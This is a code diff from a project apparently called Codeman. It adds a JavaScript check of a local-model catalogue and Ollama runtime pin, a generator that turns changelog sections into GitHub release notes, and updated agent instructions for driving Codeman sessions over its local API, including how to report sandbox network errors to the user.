* install already refuses it at the hash compare; this is also what a replaced release
* asset looks like, so read it as a security signal first.
*/
export function classifyRuntime(pin, observed) {
const findings = [];
if (compareVersions(observed.latest.version, pin.version) > 0) {
findings.push({ kind: 'behind', pinned: pin.version, latest: observed.latest.version });
}
if (observed.pinned.gone) findings.push({ kind: 'pinned-release-gone' });
else if (!observed.pinned.asset) findings.push({ kind: 'pinned-asset-gone' });
else {
const { size, digest } = observed.pinned.asset;
if (size !== pin.bytes || (digest !== undefined && digest !== `sha256:${pin.sha256}`)) {
findings.push({ kind: 'pinned-asset-changed', size, digest });
}
}
return findings;
}
/** 0 clean, 1 drift, 2 the check failed. A failure anywhere wins over drift anywhere. */
export function exitCodeFor(result) {
const failed =
result.errors.length > 0 || result.models.some((model) => model.error) || Boolean(result.runtime?.error);
if (failed) return 2;
const drift =
result.models.some((model) => model.findings.length > 0) || (result.runtime?.findings.length ?? 0) > 0;
return drift ? 1 : 0;
}
// ---------- Report ----------
/** 1234567 as `1,234,567`, independent of the locale. */
export function groupDigits(value) {
return String(value).replace(/\B(?=(\d{3})+(?!\d))/g, ',');
}
/** A fraction as a signed percentage with two decimals: `+16.61%`. */
export function formatPercent(fraction) {
const text = (fraction * 100).toFixed(2);
return fraction > 0 ? `+${text}%` : `${text}%`;
}
/** Error text for the report: one line, backticks made quotes, at most 200 characters. */
function oneLine(text) {
const flat = String(text)
.replace(/[\u0000-\u001f\u007f]+/g, ' ')
.replace(/`/g, "'")
.replace(/ {2,}/g, ' ')
.trim();
return flat.length > 200 ? `${flat.slice(0, 200)}...` : flat;
}
function buildName(variant) {
return `${displayName(variant.runner, MAC_RUNNER_PREFERENCE)}, ${displayName(variant.format, KNOWN_FORMATS)}`;
}
function modelResult(model) {
if (model.error) return 'check failed';
if (model.findings.length === 0) return 'ok';
const names = {
gone: 'tag gone',
runner: 'runner changed',
size: 'size drift',
digest: 'digest changed',
requires: 'needs a newer runtime',
};
return model.findings.map((finding) => names[finding.kind]).join(', ');
}
function describeModelFinding(model, finding) {
const id = `\`${model.id}\``;
switch (finding.kind) {
case 'gone':
return `${id}: the registry no longer has this tag, so the download fails. Replace or remove the row.`;
case 'runner':
return (
`${id}: a Mac now pulls the ${buildName(model.observed.mac)} build, which runs on ` +
`\`${finding.actual}\`, while the row's \`runner\` says \`${displayName(finding.expected, ['mlx', 'llamacpp'])}\`. ` +
'The two runners spend memory differently, so the row\'s memory figures no longer describe what runs: ' +
'recompute them for the new runner, or pin the row to a single-build tag.'
);
case 'size':
return (
`${id}: a Mac downloads the ${buildName(model.observed.mac)} build, ${groupDigits(finding.actual)} bytes, ` +
`${formatPercent(finding.fraction)} against the row's \`bytes\` of ${groupDigits(finding.expected)}. ` +
'The memory fit reads `bytes`, so correct it (and re-measure if the build changed).'
);
case 'digest':
return `${id}: the row pins \`${finding.expected}\`, a Mac now pulls \`${finding.actual}\`. The tag was pushed again.`;
case 'requires':
return (
`${id}: the build a Mac pulls declares \`requires: ${finding.requires}\`, newer than the pinned runtime ` +
`${finding.pinned}, which refuses to pull it.`
);
default:
return `${id}: ${finding.kind}`;
}
}
function describeRuntimeFinding(finding) {
switch (finding.kind) {
case 'behind':
return (
`Ollama ${finding.latest} is out; the pin is ${finding.pinned}. Read its release notes, then move ` +
'`OLLAMA_RUNTIME_PIN` (version, URL, size, sha256) and test an install on a Mac.'
);
case 'pinned-release-gone':
return 'The release of the pinned version is gone from GitHub: every new install fails at the runtime step.';
case 'pinned-asset-gone':
return 'The pinned release no longer carries the pinned archive: every new install fails at the runtime step.';
case 'pinned-asset-changed':
return (
`The pinned archive changed on GitHub (now ${finding.size === undefined ? 'no size' : `${groupDigits(finding.size)} bytes`}` +
`${finding.digest ? `, \`${finding.digest}\`` : ''}). Installs refuse it at the hash compare. Find out why before moving the pin.`
);
default:
return finding.kind;
}
}
function assetCell(asset) {
if (!asset) return 'none';
return `${groupDigits(asset.size)} bytes${asset.digest ? `, \`${asset.digest}\`` : ', no digest in the API'}`;
}
/** The markdown report of one run. Pure: everything in it was validated by the IO side. */
export function renderReport(result) {
const lines = [];
const code = exitCodeFor(result);
const driftModels = result.models.filter((model) => !model.error && model.findings.length > 0).length;
const runtimeDrift = result.runtime && !result.runtime.error ? result.runtime.findings.length > 0 : false;
lines.push('# Local model catalogue: weekly check', '');
lines.push(
`Run ${result.checkedAt}. Catalogue of ${result.catalogue.updated} (${result.models.length} models), ` +
`runtime pin Ollama ${result.pin.version}.`,
''
);
if (code === 2) {
lines.push('**The check failed**: the results below are incomplete. Nothing should act on them.', '');
} else if (code === 1) {
const parts = [];
if (driftModels > 0) parts.push(`${driftModels} of ${result.models.length} models`);
if (runtimeDrift) parts.push('the runtime pin');
lines.push(`**Drift found**: ${parts.join(' and ')}.`, '');
} else {
lines.push('**Clean**: every row matches what a Mac downloads today, and the runtime pin is current.', '');
}
for (const error of result.errors) lines.push(`- Check failed: ${oneLine(error)}`);
if (result.errors.length > 0) lines.push('');
lines.push('## Models', '');
lines.push(
'What a Mac downloads is the build Ollama on Apple silicon selects: the `mlx` build when the tag offers ' +
'one, else `llamacpp`, else `ggml`. Its size is the pull total, every layer plus the config. ' +
`Tolerance: ${(SIZE_TOLERANCE_FRACTION * 100).toFixed(1)}% of the row's \`bytes\`.`,
''
);
lines.push('| Model | Row `bytes` | A Mac downloads | Difference | Build on a Mac | Requires | Result |');
lines.push('| --- | ---: | ---: | ---: | --- | --- | --- |');
for (const model of result.models) {
const mac = model.observed?.mac;
const cells = [
`\`${model.id}\``,
groupDigits(model.bytes),
mac ? groupDigits(mac.bytes) : '',
mac ? formatPercent(sizeDifference(model.bytes, mac.bytes)) : '',
mac ? buildName(mac) : model.observed?.gone ? 'tag gone' : '',
mac?.requires ? `Ollama ${mac.requires}` : '',
modelResult(model),
];
lines.push(`| ${cells.join(' | ')} |`);
}
lines.push('');
const details = [];
for (const model of result.models) {
if (model.error) details.push(`- \`${model.id}\`: check failed: ${oneLine(model.error)}`);
for (const finding of model.findings) details.push(`- ${describeModelFinding(model, finding)}`);
const variants = model.observed?.variants ?? [];
if (model.findings.some((finding) => finding.kind === 'size' || finding.kind === 'runner') && variants.length > 1) {
const offered = variants
.map((variant) => `${buildName(variant)} ${groupDigits(variant.bytes)}${variant === model.observed.mac ? ' (a Mac takes this one)' : ''}`)
.join('; ');
details.push(` The tag offers: ${offered}.`);
}
}
if (details.length > 0) lines.push('### What changed', '', ...details, '');
lines.push('## Runtime', '');
if (!result.runtime || result.runtime.error) {
lines.push(`Check failed: ${oneLine(result.runtime?.error ?? 'not run')}`, '');
} else {
const { latest, pinned } = result.runtime.observed;
const archive = result.runtime.assetName;
lines.push(`| | Version | Published | \`${archive}\` |`);
lines.push('| --- | --- | --- | --- |');
lines.push(
`| Pinned | ${result.pin.version} | ${pinned.publishedOn ?? ''} | ` +
`${pinned.gone ? 'release gone' : assetCell(pinned.asset)} |`
);
lines.push(`| Newest release | ${latest.version} | ${latest.publishedOn ?? ''} | ${assetCell(latest.asset)} |`);
lines.push('');
if (result.runtime.findings.length === 0) {
lines.push('The pin is the newest release, and its archive still matches the pin.', '');
} else {
for (const finding of result.runtime.findings) lines.push(`- ${describeRuntimeFinding(finding)}`);
lines.push('');
}
lines.push(
`Release notes: https://github.com/${RUNTIME_REPO}/releases/tag/v${latest.version}. ` +
'A digest from the API is a lead, not a pin: check it against the release\'s `sha256sum.txt` first.',
''
);
}
const unpinned = result.models.filter((model) => model.digest === undefined && model.observed?.mac);
if (unpinned.length > 0) {
lines.push('## Digests to pin', '');
lines.push(
'The catalogue pins no digest for these rows, so a build pushed again at about the same size goes unnoticed. ' +
'Today\'s values: the tag\'s own manifest, and the manifest a Mac pulls. The one to pin is the second, the ' +
'digest `/api/tags` reports after the pull, as the row field `digest` (which the catalogue schema must ' +
'gain first).',
''
);
const measured = unpinned.filter((model) => model.figures === 'measured');
if (measured.length > 0) {
const ids = measured.map((model) => `\`${model.id}\``).join(', ');
lines.push(
`Pin first: ${ids}. Its memory figures were measured on one build, and without a digest nothing here ` +
'tells that build from a rebuild of about the same size.',
''
);
}
lines.push('| Model | Build a Mac pulls | Tag manifest | Manifest a Mac pulls |');
lines.push('| --- | --- | --- | --- |');
for (const model of unpinned) {
lines.push(
`| \`${model.id}\` | ${buildName(model.observed.mac)} | \`${model.observed.tagDigest}\` | ` +
`\`${model.observed.mac.digest}\` |`
);
}
lines.push('');
}
lines.push('## Not checked', '');
lines.push(
'The memory figures, the speeds and whether a coding agent works with a model: no manifest says anything ' +
'about those. They change only when somebody measures on a Mac.',
''
);
return `${lines.join('\n')}\n`;
}
// ---------- IO, with an injected fetch ----------
/**
* One GET, bounded: `REQUEST_TIMEOUT_MS` for the whole exchange and `maxBytes` for the body.
* Answers `{ status, body }` (body only for a 2xx). Never retries.
*/
export async function boundedGet(fetchFn, url, { headers = {}, maxBytes }) {
const signal = AbortSignal.timeout(REQUEST_TIMEOUT_MS);
let res;
try {
res = await fetchFn(url, { headers: { 'User-Agent': USER_AGENT, ...headers }, redirect: 'follow', signal });
} catch (err) {
throw new CheckFailure(`GET ${url} failed: ${describeError(err)}`);
}
if (res.status < 200 || res.status >= 300) {
await res.body?.cancel().catch(() => {});
return { status: res.status };
}
const declared = Number(res.headers.get('content-length'));
if (Number.isFinite(declared) && declared > maxBytes) {
await res.body?.cancel().catch(() => {});
throw new CheckFailure(`GET ${url}: ${declared} bytes is over the cap of ${maxBytes}`);
}
const chunks = [];
let total = 0;
try {
if (res.body) {
const reader = res.body.getReader();
for (;;) {
const { done, value } = await reader.read();
if (done) break;
total += value.byteLength;
if (total > maxBytes) {
await reader.cancel().catch(() => {});
throw new CheckFailure(`GET ${url}: the body is over the cap of ${maxBytes} bytes`);
}
chunks.push(value);
}
}
} catch (err) {
if (err instanceof CheckFailure) throw err;
throw new CheckFailure(`GET ${url}: reading the body failed: ${describeError(err)}`);
}
return { status: res.status, body: Buffer.concat(chunks) };
}
function describeError(err) {
if (err instanceof Error) {
const cause = err.cause instanceof Error && err.cause.message ? `: ${err.cause.message}` : '';
return `${err.name === 'TimeoutError' ? 'timed out' : err.message}${cause}`;
}
return String(err);
}
function parseJson(body, what) {
try {
return JSON.parse(body.toString('utf8'));
} catch {
throw new CheckFailure(`${what} is not JSON`);
}
}
/** A blob of the repository, checked against its digest. */
async function getBlob(fetchFn, name, digest, maxBytes, what) {
const url = `${REGISTRY_BASE}/v2/library/${encodeURIComponent(name)}/blobs/${digest}`;
const answer = await boundedGet(fetchFn, url, { maxBytes });
if (!answer.body) throw new CheckFailure(`${what} ${digest}: the registry answered ${answer.status}`);
if (sha256Digest(answer.body) !== digest) throw new CheckFailure(`${what} ${digest}: the body does not match its digest`);
return answer.body;
}
/** One build of a tag: its runner, format, digest and pull total, all validated. */
function variantOf(manifest, digest, fallback = {}) {
return {
runner: canonicalRunner(manifest.runner) || canonicalRunner(fallback.runner),
format: canonicalRunner(manifest.format) || canonicalRunner(fallback.format),
digest,
bytes: pullTotalBytes(manifest),
configDigest: normalizeDigest(manifest.config?.digest),
};
}
/**
* What the registry serves for `id` today, read the way Ollama on a Mac reads it:
* `{ gone: true }`, or `{ tagDigest, variants, mac }` where `mac` is the variant a Mac pulls
* (with its config's `requires`). Throws `CheckFailure` when the answer is not usable.
*/
export async function inspectModel(fetchFn, id) {
const { name, tag } = splitModelId(id);
const url = `${REGISTRY_BASE}/v2/library/${encodeURIComponent(name)}/manifests/${encodeURIComponent(tag)}`;
const answer = await boundedGet(fetchFn, url, { headers: { Accept: MANIFEST_ACCEPT }, maxBytes: MAX_MANIFEST_BYTES });
if (answer.status === 404) return { gone: true };
if (!answer.body) throw new CheckFailure(`the registry answered ${answer.status} for the manifest`);
const tagDigest = sha256Digest(answer.body);
const manifest = parseJson(answer.body, 'the manifest');
let variants;
let mac;
if (manifest.mediaType === MEDIA_TYPE_MANIFEST_LIST) {
const children = Array.isArray(manifest.manifests) ? manifest.manifests : [];
if (children.length === 0 || children.length > MAX_LIST_CHILDREN) {
throw new CheckFailure(`the manifest list has ${children.length} children`);
}
const selected = selectMacChild(children);
if (!selected) throw new CheckFailure('the manifest list has no build a Mac runs (mlx, llamacpp or ggml)');
variants = [];
for (const child of children) {
const digest = normalizeDigest(child?.digest);
if (!digest || !child.digest.startsWith('sha256:')) throw new CheckFailure('a child of the manifest list has no sha256 digest');
const body = await getBlob(fetchFn, name, digest, MAX_MANIFEST_BYTES, 'child manifest');
const variant = variantOf(parseJson(body, `child manifest ${digest}`), digest, child);
variants.push(variant);
if (child === selected) mac = variant;
}
} else if (manifest.mediaType === MEDIA_TYPE_MANIFEST || manifest.mediaType === undefined) {
mac = variantOf(manifest, tagDigest);
variants = [mac];
} else {
throw new CheckFailure('the manifest has a media type this check does not know');
}
if (!mac.configDigest) throw new CheckFailure('the build a Mac pulls has no config digest');
const config = parseJson(await getBlob(fetchFn, name, mac.configDigest, MAX_CONFIG_BYTES, 'config'), 'the config');
// A manifest that names no runner or format gets them from its config, as Ollama fills them.
const assumed = metadataForConfig(config);
mac.runner ||= assumed.runner;
mac.format ||= assumed.format;
// A malformed `requires` is ignored, as Ollama ignores it (`checkPullRequires`).
const requires = parseVersion(config?.requires);
mac.requires = requires ? requires.join('.') : undefined;
return { tagDigest, variants, mac };
}
function githubHeaders(token) {
return {
Accept: 'application/vnd.github+json',
'X-GitHub-Api-Version': '2022-11-28',
...(token ? { Authorization: `Bearer ${token}` } : {}),
};
}
/** The validated parts of a GitHub release: version, day it was published, the named asset. */
function releaseFacts(release, assetName) {
if (!release || typeof release.tag_name !== 'string' || !RELEASE_TAG_PATTERN.test(release.tag_name)) {
throw new CheckFailure('the release has no vX.Y.Z tag');
}
const day = typeof release.published_at === 'string' ? ISO_DAY_PATTERN.exec(release.published_at) : null;
const raw = Array.isArray(release.assets) ? release.assets.find((asset) => asset?.name === assetName) : undefined;
let asset;
if (raw) {
if (!isSize(raw.size)) throw new CheckFailure(`the release asset ${assetName} has no size`);
asset = { size: raw.size, digest: normalizeDigest(raw.digest) };
}
return { version: release.tag_name.slice(1), publishedOn: day ? day[1] : undefined, asset };
}
/** The newest release and the pinned one, from the GitHub API. Throws `CheckFailure`. */
export async function inspectRuntime(fetchFn, pin, token) {
const assetName = new URL(pin.url).pathname.split('/').pop();
const headers = githubHeaders(token);
const latestAnswer = await boundedGet(fetchFn, `${GITHUB_API_BASE}/repos/${RUNTIME_REPO}/releases/latest`, {
headers,
maxBytes: MAX_GITHUB_BYTES,
});
if (!latestAnswer.body) throw new CheckFailure(`GitHub answered ${latestAnswer.status} for the newest release`);
const latest = releaseFacts(parseJson(latestAnswer.body, 'the newest release'), assetName);
const pinnedAnswer = await boundedGet(
fetchFn,
`${GITHUB_API_BASE}/repos/${RUNTIME_REPO}/releases/tags/v${encodeURIComponent(pin.version)}`,
{ headers, maxBytes: MAX_GITHUB_BYTES }
);
let pinned;
if (pinnedAnswer.status === 404) pinned = { gone: true };
else if (!pinnedAnswer.body) throw new CheckFailure(`GitHub answered ${pinnedAnswer.status} for the pinned release`);
else pinned = releaseFacts(parseJson(pinnedAnswer.body, 'the pinned release'), assetName);
return { assetName, observed: { latest, pinned } };
}
/**
* The whole check. `catalog` is the validated catalogue, `pin` the runtime pin, `fetchFn` the
* fetch to use. Never throws for a network problem: each failure lands in the result, and
* `exitCodeFor()` turns it into 2.
*/
export async function runCheck({ catalog, pin, fetchFn, now, githubToken }) {
const result = {
checkedAt: `${now.toISOString().slice(0, 16).replace('T', ' ')} UTC`,
catalogue: { updated: catalog.updated },
pin: { version: pin.version },
models: [],
runtime: undefined,
errors: [],
};
// Rows in parallel, each row's requests one after another: a handful of rows, a few requests each.
result.models = await Promise.all(
catalog.models.map(async (row) => {
// `digest` is not in the catalogue schema yet: see the file header. `runner` is in the
// schema from the catalogue that names each row's runner on; before that it is absent.
const digest = /** @type {{ digest?: unknown }} */ (row).digest;
const runner = /** @type {{ runner?: unknown }} */ (row).runner;
const entry = { id: row.id, bytes: row.bytes, figures: row.figures, digest, findings: [] };
try {
entry.observed = await inspectModel(fetchFn, row.id);
entry.findings = classifyModel({ id: row.id, bytes: row.bytes, runner, digest }, entry.observed, pin.version);
} catch (err) {
entry.error = err instanceof CheckFailure ? err.message : describeError(err);
}
return entry;
})
);
try {
const runtime = await inspectRuntime(fetchFn, pin, githubToken);
result.runtime = { ...runtime, findings: classifyRuntime(pin, runtime.observed) };
} catch (err) {
result.runtime = { error: err instanceof CheckFailure ? err.message : describeError(err), findings: [] };
}
return result;
}
// ---------- Main ----------
async function main() {
let catalog;
let pin;
try {
const { getLocalModelCatalog } = await import('../src/config/local-model-catalog.js');
const { OLLAMA_RUNTIME_PIN } = await import('../src/local-model/runtime.js');
catalog = getLocalModelCatalog();
pin = OLLAMA_RUNTIME_PIN;
} catch (err) {
console.error(`The catalogue or the runtime pin could not be loaded: ${describeError(err)}`);
process.exitCode = 2;
return;
}
const result = await runCheck({
catalog,
pin,
fetchFn: globalThis.fetch,
now: new Date(),
githubToken: process.env.GITHUB_TOKEN || undefined,
});
process.stdout.write(renderReport(result));
process.exitCode = exitCodeFor(result);
}
if (process.argv[1] && resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
main().catch((err) => {
console.error(`The check failed: ${describeError(err)}`);
process.exitCode = 2;
});
}
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env node
// Prints the GitHub release notes for one version, built from its section of CHANGELOG.md.
// The Release workflow sends this to the release it just published. Run it by hand to preview:
//
// node scripts/generate-release-notes.mjs [version] default: the version in package.json
//
// Exits 1 with nothing on stdout when the changelog has no section for that version, so the
// workflow keeps the text changesets wrote rather than blanking a published release.
import { readFileSync } from 'node:fs';
import { dirname, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
import { buildReleaseNotes } from './lib/release-notes.mjs';
const root = resolve(dirname(fileURLToPath(import.meta.url)), '..');
const version = process.argv[2] ?? JSON.parse(readFileSync(resolve(root, 'package.json'), 'utf8')).version;
const notes = buildReleaseNotes(readFileSync(resolve(root, 'CHANGELOG.md'), 'utf8'), version);
if (!notes) {
console.error(`release-notes: CHANGELOG.md has no notes for ${version}`);
process.exit(1);
}
process.stdout.write(notes);
+5
View File
@@ -218,6 +218,11 @@ function canonicalPath(path) {
* @returns {string | null}
*/
export function resolveGitHooksDir(repoRoot) {
// Not a checkout at all (a source-archive or npm install): answer without running
// git. On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that
// opens Apple's "install the developer tools" dialog, and this runs on every
// `npm install`. `.git` is a directory in a clone and a file in a worktree.
if (!existsSync(join(repoRoot, '.git'))) return null;
try {
const top = git(repoRoot, ['rev-parse', '--show-toplevel']);
if (!top || realpathSync(top) !== realpathSync(repoRoot)) return null;
+144
View File
@@ -0,0 +1,144 @@
/**
* Turns one version's section of CHANGELOG.md into the body of its GitHub release.
*
* changesets writes a changeset as one list item, `- <hash>: <first line>`, with the rest
* indented under it, and changesets/action copies that section into the release as it stands.
* So a whole release rendered as a single bullet, and the `### Thanks` that opens a changeset
* sat behind the hash as literal text. The shape below cannot be written into CHANGELOG.md
* instead: `### <Type> Changes` is hardcoded upstream, and a `## ` line would end the section
* for both changesets/action and versionSection(). So the changelog keeps changesets' format,
* and the Release workflow applies this to what comes out of it.
*
* Only the commit prefix and the `### <Type> Changes` lines are removed. A block this does not
* recognise stays as text; test/release-notes.test.ts checks that over every past release.
*/
import { SECTION_LABELS, cleanLead, versionSection } from './whats-new.mjs';
const REPO_URL = 'https://github.com/Ark0N/Codeman';
const TYPE_HEADING = /^### (?:Major|Minor|Patch) Changes\s*$/;
const ITEM_START = /^- (?:[0-9a-f]{7,40}: )?(.*)$/;
const HEADING = /^#{1,6}\s+(.+?)\s*$/;
const BOLD_START = /^\*\*(.+?)\*\*(?:\s+(.*))?$/;
const LIST_ITEM = /^\s*[-*] /;
const VERSION_HEADING = /^## (\d+\.\d+\.\d+\S*)\s*$/;
const BEHAVIOUR_CHANGE = /(?<![*\w])(Behaviou?r changes?|Breaking):/g;
/** The section's changesets, each as its own lines with the prefix and indent removed. */
function changesets(section) {
const items = [];
for (const line of section.split('\n')) {
if (TYPE_HEADING.test(line)) continue;
const start = ITEM_START.exec(line);
if (start) items.push([start[1]]);
else if (items.length > 0) items[items.length - 1].push(line.replace(/^ {2}/, ''));
else if (line.trim()) items.push([line]);
}
return items;
}
/** Splits lines on blank ones, keeping a fenced code block whole. */
function splitBlocks(lines) {
const blocks = [];
let current = [];
let inFence = false;
for (const line of lines) {
if (/^\s*(?:```|~~~)/.test(line)) inFence = !inFence;
if (inFence || line.trim()) {
current.push(line);
} else if (current.length > 0) {
blocks.push(current);
current = [];
}
}
if (current.length > 0) blocks.push(current);
return blocks;
}
/**
* The title a block opens with, or null. Bold counts only as a lead-in when it ends in
* punctuation or stands alone: "**Allow network access** is a new setting" is a sentence.
*/
function blockTitle(firstLine) {
const heading = HEADING.exec(firstLine);
if (heading) return { title: heading[1], text: '', isHeading: true };
const bold = BOLD_START.exec(firstLine);
if (bold && (!bold[2] || /[.:?!]$/.test(bold[1]))) return { title: bold[1], text: bold[2] ?? '', isHeading: false };
return null;
}
/** Which part of the page a group label heads, or null for a change's own headline. */
function groupFor(label) {
if (!SECTION_LABELS.test(label)) return null;
if (/^thanks\b/i.test(label)) return 'thanks';
if (/^fixes$/i.test(label)) return 'fixes';
return /^new features$/i.test(label) ? null : 'also';
}
/** Sorts every block of the section into the part of the page it belongs to. */
function sortBlocks(section) {
const parts = { thanks: [], intro: [], news: [], fixes: [], also: [] };
const items = changesets(section);
for (const item of items) {
const blocks = splitBlocks(item);
// Text with no headline leads What's new, or it would read as part of the last feature.
let target = 'intro';
let thanksIsEmpty = false;
for (const block of blocks) {
const [first, ...rest] = block;
const opened = blockTitle(first);
if (opened) {
const label = cleanLead(opened.title);
const group = groupFor(label);
const body = [opened.text, ...rest].filter(Boolean).join('\n');
target = group ?? 'news';
thanksIsEmpty = group === 'thanks' && !body;
if (group === 'also') {
// These two are a sentence or two each, so they keep their bold lead-in: a heading
// over every one of them weighs more than the text under it.
parts.also.push(opened.isHeading ? [`**${label}.**`, ...rest].join('\n') : block.join('\n'));
} else if (group) {
if (body) parts[group].push(body);
} else {
parts.news.push(`### ${label}`);
if (body) parts.news.push(body);
}
continue;
}
// Only credit stays under Thanks: what opens it, its list, and a line ending in a colon
// that leads into one. A paragraph after that is the release talking again.
if (target === 'thanks' && !thanksIsEmpty && !LIST_ITEM.test(first) && !first.endsWith(':')) target = 'intro';
thanksIsEmpty = false;
const text = block.join('\n');
// A one-line changeset was a bullet in the changelog; beside others it stays one.
parts[target].push(blocks.length === 1 && items.length > 1 ? `- ${text}` : text);
}
}
return parts;
}
/** The release before `version`, or null for the first one or a version not in the changelog. */
export function previousVersion(changelog, version) {
const versions = changelog.split(/\r?\n/).flatMap((line) => VERSION_HEADING.exec(line)?.[1] ?? []);
const index = versions.indexOf(version);
return index === -1 ? null : (versions[index + 1] ?? null);
}
/** The markdown for the release page, or '' when the changelog has nothing for `version`. */
export function buildReleaseNotes(changelog, version) {
const { thanks, intro, news, fixes, also } = sortBlocks(versionSection(changelog, version));
const page = [];
// Thanks stays first on purpose: contributors are the first thing a visitor to Latest sees.
if (thanks.length > 0) page.push('## Thanks', ...thanks);
if (intro.length + news.length > 0) page.push("## What's new", ...intro, ...news);
if (fixes.length > 0) page.push('## Fixes', ...fixes);
if (also.length > 0) page.push('## Also in this release', ...also);
if (page.length === 0) return '';
const blocks = page.map((block) => (block.startsWith('#') ? block : block.replace(BEHAVIOUR_CHANGE, '**$1:**')));
const previous = previousVersion(changelog, version);
if (previous) {
blocks.push('---', `**Full Changelog**: ${REPO_URL}/compare/codeman@${previous}...codeman@${version}`);
}
return `${blocks.join('\n\n')}\n`;
}
+6 -2
View File
@@ -19,9 +19,13 @@ export function versionSection(changelog, version) {
// Bold phrases the release notes use as group labels rather than as the headline of a change:
// "**Fixes.**" heads the list of fixes, "**Fixes applied while landing.**" the review fixes.
const SECTION_LABELS =
// Shared with release-notes.mjs, so the toast and the release page agree on what is a headline.
export const SECTION_LABELS =
/^(?:thanks\b.*|fixes|fixes applied while landing|docs|docs and tests|new features|also in this release)$/i;
/** A bold lead-in without its closing punctuation. */
export const cleanLead = (text) => text.replace(/[\s.:]+$/, '').trim();
/** Bold lead-ins at the start of a paragraph or bullet, cleaned for display. */
export function extractHighlights(section) {
const out = [];
@@ -30,7 +34,7 @@ export function extractHighlights(section) {
// ("- d18deed: **Lead.** text"), which is the shape every changesets-bot release has.
const m = /^\s*(?:[-*]\s+)?(?:[0-9a-f]{7,40}:\s+)?\*\*([^*]{3,120})\*\*/.exec(line);
if (!m) continue;
const text = m[1].replace(/[\s.:]+$/, '').trim();
const text = cleanLead(m[1]);
if (!text || SECTION_LABELS.test(text)) continue;
if (!out.includes(text)) out.push(text);
}
+338 -28
View File
@@ -7,7 +7,8 @@ description: >-
CLI, send them prompts, block until they finish (wait / wait-output / send-and-wait),
read their output, and clean up; where available, message claude workers directly
(Claude Code cross-session messaging). Use when asked to orchestrate or parallelize
work across Codeman sessions, get a second opinion from another CLI or model, watch
work across Codeman sessions, get a second opinion from another CLI or model, hand
work to the local model Codeman installed on this Mac ("use the local model"), watch
another session, start and manage workers, or retrieve saved local Codex history
by file/native ID or root and descendants with topic/date filters. Live API
operations require a Codeman-managed session (CODEMAN_MUX=1). Offline history
@@ -60,6 +61,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +73,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
@@ -90,7 +107,7 @@ later call opens with, and your first REAL call performs them anyway:
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
```
⚠️ **Never spend a Bash call on this check alone.** §1's block opens with this same
@@ -118,8 +135,8 @@ PRE="${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh"
mkdir -p "$(dirname "$PRE")"
# Rewrite unless the file already ends with THIS version's stamp, so a stale or a
# half-written file self-heals here instead of costing you a round trip to rm it.
grep -qs '^CODEMAN_PREAMBLE=1.44.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
grep -qs '^CODEMAN_PREAMBLE=1.50.0$' "$PRE" || (umask 077; cat > "$PRE" <<'PREAMBLE'
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -170,11 +187,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
